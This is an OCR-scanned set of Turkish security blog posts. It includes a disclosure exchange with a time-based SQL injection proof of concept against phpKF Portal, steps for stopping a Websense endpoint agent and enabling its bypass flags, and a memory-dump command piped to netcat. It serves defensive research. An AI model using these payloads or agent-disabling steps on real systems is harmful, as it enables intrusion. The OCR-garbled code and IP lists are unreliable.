Muhtemelen Persembe veya Cuma giinii blogumda bu habere yer verecegim bu nedenle 6ncesinde bu zafiyeti giderme adina bir yama
yayinlarsan art niyetli kisiler tarafindan istismar edilmesini dnlemis olursun.

Proof of concept:
http://localhost/portal/dosyalar.php?kategorino=1"+and+sleep('15")%23
Iyi aksamlar.

Bilgilendirme i¢in tesekkiirler fakat bu adres ile alinan hata sadece tanimsiz degiskenden dolayi eregi fonksionunun uyari vermesidir.
Alman kategorino degiskeni sayfa icinde temizlenerek veritabani sorgusuna sokulmaktadir ve herhangi bir sql injection agikg1 yoktur.

Dikkat ederseniz ayn1 hatay1 su sekilde kategorino®den hicbir veri yollamadiginizda da verecektir.
http://localhost/portal/dosyalar.php?kategorino=

Kisaca tekrar edeyim, verdiginiz drnekte higbir agik yoktur.
Bunu haber yapmamanizi tavsiye ederim, ¢iinkii yanlis bilgi vermis olursunuz ve komik duruma disersiniz.

Tekrar tesekkiirler iyi geceler.

Magic_quote kapaliyken denerseniz ne demek istedigimi anlayacaksiniz.
http://localhost/portal/dosyalar.php?kategorino=1'+and+sleep('15')%23

Yukaridaki sekilde sayfay1 cagirirsaniz 15 saniye geg acildigini gorebilirsiniz, 15 saniye ge¢ acilmasi demek sorgunun ¢aligmas1 demektir.

Denedim ve ayni ¢linkii Magic_quote kapali veya agik farketmez [b]kategorino[/b] sadece rakam kabul edecek sekilde ayarlidir, bagka
bir karakter sorguya sokulamaz.
Muhtemelen kodlarda agik dogruracak bir degisiklik yaptiginiz, bu yiizden 15 saniye bekleme oluyor.

Siteden temiz phpKF Portal 1.70 indirin higbir agik olmadigimni goreceksiniz.

Alttaki kod dosyalar.php dosyasindan, burada sadece rakam kabul edilmektedir, degiskende rakam oldugu halde yine de temizleme
fonksiyonundan gegirilir.

Rakam degilse hata verilir.

if ((isset($_CET['kategorino'])) AND (is_nuneric($_CET['kategorino']) == true))

{
$_CET[' kategorino'] = @kTem zl e($_CGET[' kategorino']);

Mantik hatas1 var dikkat edersen gorebilirsin.
isset ile kontrol ediyor daha sonra tekrar issetse ve numericse temizliyor ama numeric degilse temizlemiyor bu nedenle direk bir sonraki
satirda sorgumuzun calistirilmasina imkan tanryor...

if (isset($_CET['kategorino']))

{

i f ($portal _bl okl ar_ayar[' dosyal ar_sayfasi'] == 1):

if ((isset($_CET['kategorino'])) AND (is_nuneric($_CET[' kategorino']) == true))
{

$_CET[' kategorino'] = @kTem zl e($_CET[' kategorino']);

}
/| SEO ADRES#N#N DO#RULU#U KONTROL EDHL#YOR YANLI #SA DO#RU ADRESE YONLENDHRHL#YOR //

$sorgullll = "sel ect kategorino, kategoriadi from $tabl o_portal _i ndirkategori where kategorino="$_GET[ kat egori no]'
$sorgullll_sonuc = nysql _db_query($cfgdbi si m $sorgullll) or die ('Haberler sorgu ba#ar#s#z');
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Simdi siz yazmadan dnce bende onlar1 kontrol ediyordum ve gordiim hatta bir tane daha var bu hatadan.
Portal kodlarini Yiicel yazdi, ben de kontrol etmistim ama benimde goziimden kagmis.

Gerekli bilgilendirmeyi ve diizeltmeyi yapacagim.

Tekrar tesekkiirler...

Sanal Kusatma

Source: https://www.mertsarica.com/sanal-kusatma/
By M.S on April 14th, 2010
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Hatirlarsaniz penetrasyon testi i¢in firma se¢iminde honeypot kullandigimdan bahsetmistim. Honeypot'u hazirlarken zaman zaman
internet iizerinden erisime agryordum. Dikkatimi ¢eken bir nokta, erisime agar agmaz yaklasik 3 saat igerisinde Cin ve Rusya
kaynakl1 IP adreslerinden 6nce SSH baglant1 noktasi taraniyor ve ardindan deneme yanilma (brute-force/dictionary attack) saldirilart
gerceklesiyordu. Bir kag defa IP adresini degistirsemde degisen birsey olmuyordu yine ayni siireler igerisinde saldirilar basliyordu. O
giinlerde bu konunun iizerine egilme firsatim olmamusti ta ki gectigimiz Pazar giiniine kadar.

Gectigimiz Pazar gilinii yine can sikintisindan tiim yamalart yiiklenmis olan Windows XP SP3 isletim sistemini internete agmaya ve
sonuglar1 analiz etmeye karar verdim.

Oncelikle bir honeypot kurmam gerekiyordu. Ne kursam ne kursam diye arastirirken sonunda birden fazla servisi taklit etme yetenegine
sahip HoneyBOT adindaki diisiik etkilesimli (low interaction) honeypotu kurmaya karar verdim. Devam etmeden 6nce muhtemelen
diistik etkilesimde neyin nesi diye aklinizda bir soru olusacak bu nedenle 6ncelikle bunu yanitlayayim.

Honeypotlar temel olarak 3'e ayrilirlar;

* Diisiik etkilesimli: Sadece zafiyet barindiran servisleri taklit ederler, ele gegirilmeleri miimkiin degildir.

¢ Orta etkilesimli: Zafiyet barindiran servisleri taklit ederek zararli yazilima ait kod pargaciklarini (payload) temin etmek igin
kullanilirlar.

* Yiiksek etkilesimli: Zafiyet barindiran igletim sisteminden olusurlar ve en sonunda ele gegirilirler.

Kisa bir bilgilendirmeden sonra kaldigim yerden devam edeyim. HoneyBOT'u kurup calistirdigimda 1328 adet soket actigin1 gérdiim
fakat 1328 tane servisten rastgele bir kag tanesini kontrol ettigimde o servisi bire bir taklit etmedigini gérdiim. Anladigim kadarryla
HoneyBOT sadece bilinen servisleri (6rnek http) taklit edebilirken geri kalanlar i¢in sadece gelen baglantilart dinlemekle yetiniyor.

Pazar giinii, aksam {istiine dogru evden ¢ikmam gerekiyordu. Evden ¢ikmadan 6nce honeypotu dinamik ip adresine sahip olan adsl
modemimin DMZ segmentine saat 15:47 itibariyle yerlestirdim.

Eve dondiigiimde aradan tam tamina 5 saat gegmisti ve ilk isim honeypotun kayitlarina géz atmak oldu. Kayitlarda honeypot
ile iletisim kuran 14 tane farkli ip adresi oldugu goziikiiyordu ve ilk kayit saat 15:55'de olusan 220.189.210.83 (port 1433)
IP adresine aitti. Honeypot'u internete acali 12 dakika ge¢cmesine ragmen ilk kaydin olusmasi igin aradan ¢ok fazla vakit
geememisti. 6. hissim bana bu ip adresinin g¢ekik gozliilere ait oldugunu sdyliiyordu ve kontrol ettikten sonra yanilmadigimi
anladim, ip adresi Cin'e aitti. Kayitlarda yer alan baglanti noktalarina goz attigimda ise toplamda 11 tane baglanti noktasi ile
(1080, 1433, 1434, 22, 23, 3128, 6588, 6881, 80, 8080, 9000) iletisim kurulmustu. Bu arada geri kalan 13 IP adresinin lokasyonlarini
manuel olarak belirlemeye tisendigim i¢in Python ile IP2Geo adinda ufak bir program yazdim.

IP2Geo kisaca ip.txt icerisinde belirtmis oldugunuz ip adreslerini alarak sirasiyla lokasyonunu belirliyor ve location.txt dosyasi adi
altinda kayit ediyor.

25.224.199.198 Taiwan
: 228.189.2108.83 Location: China
D 221.141.2.234 Location: Korea, Republic of
T 222.213.128.148 Location: China
T 222.37.37.33 Location: China
= 59.173.244.156 Location: China
.161.78.155 Location: China
7.283.98.38 Location: United States

: 7?6.24.210.221 Location: United States
: 78.143.34.249 Location: Germany
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IP adresleri ile iligkili lokasyonlar1 sirasiyla listeleyecek olursam;
124.237.121.52:China

125.224.199.198: Taiwan
220.189.210.83:China
221.141.2.234:Korea, Republic of
222.213.128.140:China
222.37.37.33:China
59.173.244.156:China
60.161.78.155:China
67.203.98.38:United States
76.24.210.221:United States
78.143.34.249:Germany
82.38.92.106:United Kingdom
82.73.23.186:Netherlands

94.51.72.75:Russian Federation

Honeypot kayitlarindan edindigim bilgileri kisaca dzetleyecek olursam honeypot lizerinde yer alan 11 baglanti noktasindan bir tanesine
internete acildiktan 12 dakika sonra ilk baglant1 ger¢eklesmis ve 5 saat iginde toplamda honeypota 8§ farkli tilkeden, 14 farkli ip adresinden
iletisim kurulmustur.

Bu bilgilerden cikartilacak sonug, adsl modemlerimizin, sunucularimizin, bilgisayarlarimizin sanal kusatma altinda oldugudur. Internette
onlarca belkide yiizlerce botun, ip bloklarimizi tarayarak giivenlik zafiyeti barindiran sistem, sunucu, uygulama, cihaz aramaktadir. Bu
nedenle adsl modemlerinizin ates duvarinda (firewall) yapacaginiz bir konfigiirasyon hatasi, igletim sisteminizdeki eksik bir yama, zayif
yonetici parolasi, giincel olmayan bir antiviriis zincirleme olarak size pahaliya mal olabilir, tedbiri elden birakmamanizi tavsiye ederim.

Unutmadan IP2Geo programina buradan ulasabilirsiniz.

Bir sonraki yazida goriigmek dilegiyle...

Tersine Muhendisligin Faydalan

Source: https://www.mertsarica.com/tersine-muhendisligin-faydalari/
By M.S on April 8th, 2010
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Herkes gider Mersin'e biz gidelim tersine diyerek bu haftanin yazisinda tersine miihendisligin (reverse engineering) kullanim
alanlarindan kisaca bahsedecegim. Oncelikle Tersine Miihendislik nedir diye Vikipedi'ye soracak olursak alacagimiz yamt asagidaki
gibi olacaktir.

Tersine miihendislik (Reverse Engineering,RE) bir aygitin, objenin veya sistemin; yapisimin, islevinin veya ¢alismasinin,
¢tkarimer bir akil yiiriitme analiziyle kesfedilmesi igslemidir. Bu yontem, genellikle orijinalinden kopyalamadan onunla aym
seyi yapan yeni bir alet veya yazilim yapmaya ¢alisir ve siklikla bir seylerin (Ornegin, makine veya mekanik alet, elektronik
komponent, yazilim programi gibi) parcalarina ayrilmasi ve ¢alisma prensiplerinin detayl sekilde analizini igerir.

Tersine mithendislik ile ilgili bilinen en meshur hikaye ise 1980'li yillarin ortasinda rahmetli Compaq firmasinin o zamanlar sadece IBM
PC'lerde mevcut olan BIOS'u tersine mithendislikten faydalanarak kopyalamasi ve Compaq PCler'i iiretmesidir. Daha sonra Phoenix
Teknoloji firmasi ayn1 yolla BIOS'u kopyalamis ve kendi PCler'ini iiretmek yerine diger PC iireticilerine BIOS'u satarak giiniimiizde
her eve ucuz PC girmesine imkan tanimistir.

Giiniimiize gelecek olursak giiniimiiz korsanlar1 agik kaynak koda sahip olmayan yazilimlarda (Ornegin MS office uygulamalarr)
giivenlik agig1 bulmak igin tersine miihendislikten faydalanmaktadirlar. Hatta tersine miihendisligi otomatize ederek her aymn 2.
haftasinda Sali glinii Microsoft firmasi tarafindan yayinlanan yamalar tersine miihendislik ile analiz edilmekte ve 30 dakika ile 1 saat
arasinda istismar araglari (exploit) hazirlanabilmektedir.
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Bunun diginda tersine miihendislige giivenlik testlerinde de yer verilmektedir. Hedef programin akisini degistirmek kimi zaman
programda yetkiniz olmayan béliimlere erismenize imkan tantyabilmektedir. Ornegin gectigimiz senelerde sifre saklamak icin kullanilan
bir programi incelemistim. Program agildiginda sizden dogru kullanici ad1 ve sifre girmenizi istiyordu ve dogru ikili girildigi taktirde
ana meniiye yonlendirerek ana sifrenin goriintiilenmesini sagliyordu. Programi assembly debugger ile kisa bir siire inceledikten sonra
programin akisini degistirerek dogrulama adimini bypass etmek ve ana sifreye ulasmak miimkiin olmustu.

Ayrica tersine miihendislik, programlarin igerisinde yer alan ancak dokiimante edilmeyen gizli komutlari/parametreleri ve 6zellikleri
ortaya gikarmak iginde kullanilmaktadir. Ornegin komut satirinda programin destekledigi komutlari listelediginizde 2 komut oldugu
gosterilirken, assembly debugger ile incelediginizde gergekte 4 komutun desteklendigini gorebilirsiniz. Hazir elimde bu konu ile ilgili
bir 6rnek varken sizle paylasmak istedim.

Elime gectigimiz giinlerde iizerinde herhangi bir politika barindirmayan Websense Data Endpoint ajani gecti. Yine canimin sikildigi bir
aksam ajan1 kurmaya ve goz atmaya karar verdim. Kurulum tamamlandiktan sonra ilk isim Process Explorer uygulamasi ile ajan ile

iligkili programlar1 kesfetmek olduk. Gorebildigim kadartyla bu programlar Dser.exe, Dserui.exe, EndPointClassifier.exe ve kvoop.exe
idi.

&% Process Explorer - Sysinternals: www.sysinternals.com [MERT-6756C49361\Administrator]

File Options ‘Wiew Process Find Users Help

BB =@ R A

Process FID | CPU Description Compaty MName %
= [ﬁ IMES BHE hag ‘Windows NT Session Mana...  Microzoft Corporation
[ﬂ zpoalsy. exe 1508 Spooler SubSystem App Microzoft Carporation
= [ﬂ svchost. exe 924 Generic Host Process for'wi.. Microsoft Corporation
[ﬂ svchost. exe 952 Generic Host Process for'wi.. Microsoft Corporation
= [ﬂ svchost. exe 1088  3.03 Generic Host Process for'wi.. Microzoft Corporation
[ﬂ svchost. exe 1148 Generic Host Process for'wi.. Microsoft Corporation
[ﬂ svochost.exe 1256 Generic Host Process for'i.. Microsoft Corporation
[ﬂ svchost. exe 212 Generic Host Process for'wi.. Microsoft Corporation
[ﬂ avchost exe 3240 Generic Host Process for'i... Microzoft Corparation
= _ﬂj il Ea4 ‘Windows NT Logon Applicat... ki ft ti
] 1 2 indows Security Center Ma... ft Corpor.
[ﬂ wuaucl.exe 1304 ‘Windows Update Microsoft Corporation
[ﬁ wuaucl exe 3884 ‘Windows pdate Microzoft Corporation
[Figs.exe 460 JavalTh) Quick Starter Servi... Sun Microsystems, [nc.
juzched. exe 1788 Java[Th] Update Scheduler  Sun Microzystems, Inc.
L procesp.exe 3320 Sysinternals Process Explorer  Spzinternals - v, sysinter...
ShieCtrl exe 1808 Sandboxiz Control tzLik
[T Shiefve.exe 504 Sandbosie Service tzuk
[ﬂ wmacthlp.exe 895 i ware Activation Helper Whware, Inc.
(50 YMwareS ervice. exe 1144 Whware Tools Service Whdware, Inc.
VMwareTray.exe 1744 Wdware Tools ray application YMware, Inc.
150 Y Mwarellser exe 1752 Whware Tools Service Whdware, [ne.
= [ EndPai
= [ﬂ 376 ‘websense Data Endpoint 5... “websense, Inc.
_,' 3220 ‘Webszense Data Endpoint Ul 'Websense, Inc.
W

CPU Usage: 6.06% | Commit Charge: 15.90%  Processes: 43 Physical Usage: 43.67%

Process Explorer ile Dser.exe ve EndPointClassifier.exe programlarini kapattigimda otomatik olarak tekrar ¢alistigint gérdiim. Komut
satirindan Dser.exe uygulamasini ¢alistirdigimda 6nce ufak bir hata mesaji1 aldim daha sonra ? parametresi ile ¢alistirmay1 denedigimde
program destekledigi komutlari listeledi.

WINDOWS\system32\cmd.exe
IC:\Program Files\Wehsensze“xData Security SuitesWebhsense Data Endpoint>dser.exe

BtartServiceCtrlDispatcher failed {18632

C:\Program Files\Wehszense“xData Security SuitesWebhsensze Data Endpoint>dser.exe 7

Invalid command.

lsage: dser —help —password [Passwordl

IC:\Program Files\Wehsensze“xData Security SuitesWebsense Data Endpoint>dser.exe —h
ESEGE:

Dser —start

Dzer —stop
or Dser —stop —password [Passwordl

C:\Program Files\WehsenszexData Security SuitesWebsenze Data Endpoint>_

Santyorumki iizerinde herhangi bir politika yiiklii olmadig1 icin dser.exe -stop yazarak calisan servisi ve calisan programlart
kapatabildim. Tahminimce politika bagli olarak -password parametresi ve dogru sifre ile tiim programlari ve servisleri kapatmak miimkiin
oluyor ancak dedigim gibi herhangi bir politika yiiklii olmadigi i¢in ve bu sekilde kapanabildigi i¢in diger {irlinlerde oldugu gibi bypass
etme girisiminde bulunmadim.
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Immunity Debugger ile Dser.exe programina goz atip program iizerinde yer alan metinleri listeledigimde listelenen komutlarin disinda
5 tane daha komut (parametre) oldugunu gérdiim.

Wiew Debug  Plugins  Immlib  Options  Window Help  Jobs
SIRIERRE ilisl+f lemtwhcPkbz

Text string
=

E

_____ E

EAnaIysing Dser 216 heuwnistical procedures, 754 calls to known, 93 calls to guessed functions | | Paused

Herhangi bir politika yiiklii olmadan programlar1 ve servisleri kapatmak miimkiin oluyorsa servisi kaldirmak (uninstall) her tiirlii
miimkiin olur diye disiinerek -u parametresi yerine -uexport ve -uimportconfig parametrelerine gdz atmaya karar verdim. Olsa olsa bu
parametrelerden biri var olan konfigiirasyon dosyasini export eder digeri ise import eder varsayimindan yola ¢ikarak dser.exe programini
bu iki parametre ile ¢alistirdim.

[_‘_; @ =1

C‘) Back ~ ) ? - Search Folders Ev
Address | [ C:\Mert i @ G
Mame Size | Type Date Modified
File and Folder Tasks A1 2 config.xml 1KB %ML Document 05.04.2010 23:38

=9 Make a new Folder
€8 Publish this Folder to the
Web

fed Share this fo AWINDOWS\system32\cmd. exe

IC:“Program Files“WehsensexData Security Suite‘Websense Data Endpoint>dser.exe
Other Places  pRataibad
o Lacal Disk (. Invalid command found. No File path.
"_i My Documen C:~Program Files“WehsensexData Security Suite‘Webhsensze Data Endpoint>dser.exe
- export C:sMert
) Shared Docu
C:“Program Files“WehsensexData Security Suite‘Websense Data Endpoint>dser.exe
My Compute export C:\Mert:config.xml

W My Mebwork
=

C:“Program Files“WehzensexData Security Suite‘Websense Data Endpoint>_

Details

3 deneme sonrasinda basariyla yiiklii olan konfigiirasyonu export etmeyi basardim.
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File Edit Yiew Insert Format Help

Ded S 4# =) By

<?xmwl version="1.0"7>
<Locationkrray>
</Locationkrrays>

</ ILPClientConfiguration>

I.=0r He-l.p, press F1

<ILPClientConfiguration SchemaVersion="16777216" SN="" Nawe="Default":>

<Location Name="Default™ Desc="Websense Agent default location™ CriteriaCPSconnection="1"/>

<UserInterface Mode="NORMAL"™ Enablel3uperBypass="0" EnableRemoteBypass="0"/>

Evet aynen benimde sizin gibi satir1 dikkatimi ¢ekti. SuperBypass ve EnableRemoteBypass degerlerini 1 yaparsam ve bu konfigiirasyonu
programa geri yiikleyebilirsem programi GUI iizerinden kapatmak miimkiin olabilir mi sorusuna yanit aramaya karar verdim.

Degerleri degistirip kayit ettim ve programa geri yiiklemek i¢in su komutu ¢aligtirdim:
dser.exe -uimportconfig C:\Mert\config.xml

Bu komutu calistirdiktan sonra iglemin basariyla veya basariz gerceklestirildigine dair herhangi bir yanit almadim bu nedenle -
uexport komutunu tekrar ¢alistirarak giincel konfigiirasyonu export ederek teyit etmeye karar verdim, sonug konfiglirasyonum basariyla

yuklenmisti.

@ Back - | ? / ) Search || Folders

Address _} CiiMert
: 'h o s

File and Folder Tasks A 2] Copy of config.xml

=] config. xml

=] config_yeni.<ml

Size
1KB
1KB
1KB

Tvpe

#ML Document
#ML Document
#ML Document

Date Modified

05.04.2010 23:35
05.04.2010 23:47
05.04.2010 23:47

@ Publish
=) E-mail £
= Ll & # B
¥ Delete
<?xml version="1.0"%>
<ILPClientConfiguration SchemaVersion="16777216" IN="" Name="Default'":

DOther Plac| <LocationlArray:
< Local D </Locationkrrays>

= aharedl </ ILPClientConfigurations
o My Corl (EN

W My et
= |

IC:“Program Files“Websense“Data Security Suite“Websense Data Endpoint>dser.exe —u
fimportconfig C:\Mert:\config.xml .

C:“Program Files“Websense“Data Security SuitesWebsense Data Endpoint>

Ancak GUI'ye baktigimda herhangi bir degisiklik ile karsilagsmadim.

<Location Name="Default" Desc="Websense Agent defsult location™ CriteriaCP3connecti

u'_i My Doc <UserInterface Mode="NOREMAL™ EnableSuperBypass="1" EnableRemoteBypass="1"/>

BEE

Details iC:“Program Files“Websense“Data Security SuitesWebsense Data Endpoint>dser.exe —u
export C:xMert:config_yeni.xml
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WEBSENSE DATA ENDPOINT

{l Wiew Log... | [5? Update
‘3 Connection:
A User Marne: MERT-6756C 49361 VAdministratar
Connection Status: == Disconnecked
D35 Server:
® About E|
= Endpoint Settings: :
_Pi p 9 @ Websense Data Endpoint
l = 2 Updated:
Profile Mame: Default
Yersion v7 Build?.1.0.38
Status & Disabled
Copyright {C) 1996-2009, Websense, Inc,
# Discovery:
s® .
-— Discovery Status: @ Disabled
Last Scan Ended: Nia
Files Scarned: 0
Mext Scan Time: Nia

LA M Iﬁlﬂmﬁ'

Ajanda politika ytikli olsayd: farkli bir ekran ile karsilagabilir miydim sorusunun cevabini iizerinde politika yiiklii olan Websense
Data Endpoint ajan1 kullanan ve ydnetici yetkisine sahip olan merakli ziyaretgilerimize birakiyorum. (Assembly kodundan anladigim
kadariyla sifre korumasi var ise bu islemi gerceklestirebilmeniz igin sizden dogru sifreyi girmeniz istenecek fakat bu adimda diger
iiriinlerde oldugu gibi tersine miihendislik ile kolaylikla bypass edilebilir gibi duruyor)

Sonug olarak bu yazimizda, her ne kadar assembly seviyesinde hedef programa miidahalede bulunmamis olsakta tersine miihendislikten
azda olsa faydalanarak programda, listelenen 3 komutun (parametre) disinda 5 komut (parametre) daha oldugunu tespit ettik ve bu

komutlardan 1 tanesi ile uygulamanin giincel konfigiirasyonunu export edebildik, digeri ile ise diledigimiz konfiglirasyonu import
edebildik.

Bir sonraki yazida goriismek dilegiyle herkese simdiden iyi haftasonlar1 dilerim.

Not: Uretici firma (veya dagitic1 firma) yetkilileri diledigi taktirde ziyaretgilerimizi konu ile ilgili aydinlatmak, hatali veya eksik kisimlari
diizeltmek kisaca cevap hakkini kullanmak isterse seve seve yazimda yer verebilirim.

Hacking The Hacker

Source: https://www.mertsarica.com/hacking-hacker/
By M.S on April 1st, 2010

=

Bir onceki yazimda gectigimiz Cumartesi giinii Adli Bilisim (Euroforensics) konferansina katildigimi ve ¢ogu sunumda memory
forensic'in 6neminden bahsedildigini belirtmistim. Giiniimiizdeki ¢cogu keylogger, trojan yazarlari ve bu zararli programlar1 kullanmak
isteyen ¢ogu insan bu programlarin imza tabanl antivirlis programlaru tarafindan tespit edilmelerini 6nleme adina arastirmalar yapryor
(6rnegin Google arama motoruna "trojani t" yazdiginiz taktirde "trojani taninmaz yapma" ciimlesi otomatik olarak tamamlaniyor ki
bu bize bu anahtar climlenin ne kadar ¢ok arandigini gdsteriyor) ¢esitli yollara bagvuruyorlar ve bunlarin basinda packer ile sikistirma
ve sifreleme geliyor. Paketlenmis veya sifrelenmis zararli program calistirilir ¢alistirilmaz memory'de kendini acarak orjinal haline
biirtintiyor. Sifrelenmis veya paketlenmis zararli bir programi incelemek i¢in ¢ok fazla seceneginiz yok, ya unpacker yazacaksiniz ve bu
sayede statik olarak analiz edebileceksiniz ya da programi calistiracak ve assembly debugger ile dinamik olarak inceleyeceksiniz.

Yine bir can sikintisi ile gectigimiz giinlerde Tiirk hacking sitelerine géz atmaya karar verdim. Hemen hemen her sitenin kendisine
ait bir forumu var ve her forumda da istisnasiz Virus/Trojan/Worm boliimii var. Bu bdliim hem ziyaretci sayist agisindan ve hem de
mesaj sayisi agisindan basi ¢ekiyor. Konu bagliklarina hizlica géz atarsaniz hemen hemen her giin yeni bir trojan, keylogger programinin
paylasildigini, bir cok insanin trojanlar1 taninmaz hale nasil getirebildigini 6grenmek icin mesaj yazdigini gorebilirsiniz.

Sitelerden birini gezerken ilk konu basligina géz atmaya karar verdim, Keylogger ve Stealer Paketi. Forumun moderatorii mesajinda
30'dan fazla keylogger programmi ziyaretcilerin paylasimma sunmus. Insan ister istemez bu kadar ¢ok zararli programi ve bu
programlara olan yogun ilgiyi goriince ister istemez biraz iizliliiyor malum bu programlar nedeniyle bir ¢ok insan madur oluyor.

Bu programlari indirenlerin bu programlari egitim amaciyla kullanmayacaklar1 géz 6niinde bulunduruldugunda antiviriis programlarina
ve bizlere ¢ok is diisiiyor bu sebeple ufakta olsa birseyler yapsam diye ise koyuldum ve programlarin genel 6zelliklerine bakmaya karar
verdim. Ornek ekran gériintiilerine baktigimda en ¢ok dikkatimi ¢ekenin hemen hemen her keylogger programinin galisabilmesi igin bir
SMTP sunucusuna ve bu sunucuyu kullanabilecek kullanic ad1 ve sifreye ihtiya¢ duydugunu goérdiim ve o anda simsekler ¢cakiverdi.
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Kendi kendime acaba ufak bir program yazsam ve bu program memory'den dump edilmis keylogger process'ine ait olan dump
dosyasindaki stringlerden, keylogger programina gémiilmiis olan SMTP sunucusunu ve bu sunucuya ait olan kullanict adin1 ve sifreyi
ortaya cikarsa bu sayede madur olan kisi isterse kendisini hacklemede kullanilan e-posta hesabina ulasabilir, sifresini degistirebilir veya
adli mercilere iletebilir dedim.

Oncelikle test igin forumda paylagilan Eslogger adindaki keylogger programini indirip kurdum.

=

Eslogger v0.2 [%100 Fud] [Ekran Giriintiisii] [Clipboard] [Giincel] [Ucretsiz] Windows Internet Explorer

G - & - I v/ 4 X 3

Ele Edt View Fgvortes Tooks Help

o Favorkes | a @ -2 -
- »
€8 Eslogger v0.2 [%100 Fud] [Ekran Gorinkisi] [Cipbo... - () % mm v Page~ Safety~ Tooks~ Ov
JE—— dsfaden, lanfa 1 2 3 > Sonmw P s
- R—
¥ Eslogger v0.2 [96100 Fud] [Ekran Gérintisi] [Clipboard] [Gincel] [ iz]
Mrb herkeze kendi yazmig eldufum %:100 fud keyloggerin 2. versiyonunu buraya koymaya karar vedim. Lk di dlikclerini L
--3 %100 Fuddur higbir antiviris yakalamaz.
--> Yakalandi§s zaman v0.3 sUrUmuyle amnda karginizdayin
==> Ekran goruntilerini ahr.
«=» Clipboard yani kopyalanan metinleri alr.
==» Smtp mail destedi vardir sorunsuz bir gekilde loglar aninda mailinizde.
-=> Klglk serven bilgisayan hig bir gekilde kasmaz. Server 50-100kb tir.
--> Bilgisayar aghginda otomatik clarak baglar.
--> Ve daha birsiry czellik.
Yeni Eklenen Ozellikler
--> Kendi bilgisayannizda denemek igin serveri bilgisayardan temizleme butonu ekdendi.
> SUreyi arik saniye deil dakids cinsinden yaziyoruz.
--> Ve gorlniste biraz defigiklikler yapldi.
SURE ATARLARI
[Smip Advesi [smip. gmad com [Vollanacak Sise [Dakika) [5
[Smip Portu [465
Onceki susimde sanipe
busada dakika cinsinden yazyonue 5 dakikada b
Gomal kel s anudakd bioled & 5 yaco 10dk, 10
Fatkh bir sl servisi kullarsporsan smip bigietin oy
ofrenip ona ore deffistin. Gonderen mad gmail ohup
abct mail Hotmad yada baska bir mad olabilr anemk olan v
Done i & Internet fa v Koo -

Eslogger programini ¢aligtirdigiizda kurbana gondereceginiz dosyay1 1 tus ile hazirlamaniza imkan taniyor ve default olarak adini
svchost.exe olarak diske kaydediyor. Test amaciyla hack4career@gmail.com e-posta hesabini aldim ve denemel234 olan sifresini
Eslogger programina kayit ettim ve kurbana gonderilecek olan programi olusturdum. Program calistiginda isletim sistemi tarafindan
olusturulan diger svchost.exe processleri ile karigmamasi i¢in programin adini keylogger.exe olarak degistirdim ve programi ¢alistirdim.

£2 Windows Task Manager

File Options Wew Shut Down  Help
| Applications | Processes | Performance | Networking | Users |
Image Mame PID | User Mame CPU . Mem #
svchost,exe 4005 SYSTEM juli] 4
Adrninistrator 5
2740 Administrator 0o 6
2576 Administrator 0o 2=
wuaucl,exe 2464 Adminiskrator 0o 4
cmd.exe 2344 Administrator 0o
taskmgr.exe 2088 Administrator oo 4
jusched.exe 1988 Administrator i} 6—
UnlockerAssistant. .., 1976 Adrministrator 0o 2
WMwarellser.exe 1960 Administrator oo 9
Shiesve.exe 1952 SYSTEM Juli] 2
WMwareTray.exe 1944 Administrator oo 3
wscntfy exe 1940 Administrator oo 2
igs.exe 1572 SYSTEM Juli] 1
TSCOFSYIAL EXE 1716 SYSTEM uli} z
explorer.exe 1688 Administrator i} 28
svchost.exe 1644  LOCAL SERVICE jui} T
S ) 1CEA  cwcTCm A o
< i -
Show processes from all users
Processes: 36 CPU Usage: 16%: Commit Charge: 169 [ 12500

Ardindan PD programi ile memory'den keylogger.exe process'ini diske keylogger.dump adi ile kayit ettim. (PD programi, memory
forensic analizlerinde kullanilan ve galigan processi diske kayit etmenize imkan taniyan oldukca faydali bir program.)
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C:AWINDOWS\system32\cmd.exe

C:\Documents and Settings“Administrator:Desktopspd vi.l win’>pd.exe
pd, version 1.1 tk 2806, wwu._trapkit._de

sage: pd.exe [-v] —p pid

Options:
—v — bhe verhose

Examples :

pd.exe —p pid > pid.dump
pd.exe —p pid | nc 168.8.8.1 78688

\Documents and Settings“Administrator™Desktopspd vi.l win’pd.exe —p 3368 > key
logger .dump
pd,. version 1.1 tk 28086, wwu.trapkit.de
Dump finished.

\Documents and Settings“Administrator:Desktopspd vi.1l_win>

Gelelim yazmis oldugum programa, ksps (Keylogger SMTP Password Scanner). Oncelikle bu program suan igin sadece iki
keylogger programini (Eslogger ve Perfect Keylogger) destekliyor. KSPS programini siiphelendiginiz process'e ait olan dump iizerinde
calistirdiginizda eger bu dump Eslogger ve Perfect Keylogger programlarindan birine ait ise size igerisinde yer alan SMTP sunucu adin,

kullanict adini ve sifreyi gosteriyor.

C:WINDOWS\system32\cmd.exe BEE|

RBunning command: strings.exe keylogger.dump > fore
Sleeping 15 seconds...

Ezlogger Detected!?
E-mail address: hack4careerBgmail.com
Password: denemel234

Deleting forensic.txt file

Enjoy your new mail box )

IC:M\Documents and Settings“Administrator~Desktopspd_vi.1i_win>

KSPS programimin kaynak koduna bakacak olursaniz ufak bir gelistirme ile baska keylogger programlarimida tespit etmesini

saglatabilirsiniz. KSPS programina buradan ulasabilirsiniz.

That's all folks :)

Python’u Seviyorum :)

Source: https://www.mertsarica.com/pythonu-seviyorum/
By M.S on March 25th, 2010

=

Korsancilik oynayan herkes gibi bende yillarca C programlama dili ile hagir nesir oldum, ¢ok kaynak kodu inceledim ¢ok program
yazdim ve ¢cogu kez iyiki C programlama dili 6grenmisim dedim ¢iinkii ne zaman bagka bir programlama dili ile yazilmis kaynak koduna

goz atsam kolayca anlamamda hep faydasini gérdiim.

Zaman i¢inde, yazilan istismar araglarinin (exploit) C'den Python'a gegmesi Python'a karsi olan ilgimi arttirmisti. Bir giin aklima esti
ve Python diinyasina adim atmaya karar verdim. Ne zaman bir giivenlik testinde bir programa ihtiya¢ duysam ne kadar dogru bir
karar verdigimi anliyorum ¢iinkii programa ihtiyag duymam ile programi kodlamam ve kullanmam arasinda gecen siire, programin

karmagikligina gore ortalama en fazla 1-2 giin en az 15 dakika alabiliyor.

Bu programlari C ile yazmaya ¢aligsam eminimki 2 kat1 daha fazla kod yazmam ve zaman harcamam gerekecek ama neyseki Python

var. Iste Python'un giiglii yanlari;

 Sentakslar (syntax) ile ¢ok fazla ugrasmiyorsunuz, { } ();
¢ 100 saat derlemek ile ugrasmiyorsunuz, kodla ve caligtir.
¢ 1 diinya modiil ile geliyor, import et ve fonksiyonu ¢agir.

* Yazdiginiz kodlar daha okunakli, code re-use i¢in daha verimli.
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Platform bagimsiz, windowsta kodla, linuxte test et, mac'te kullan.

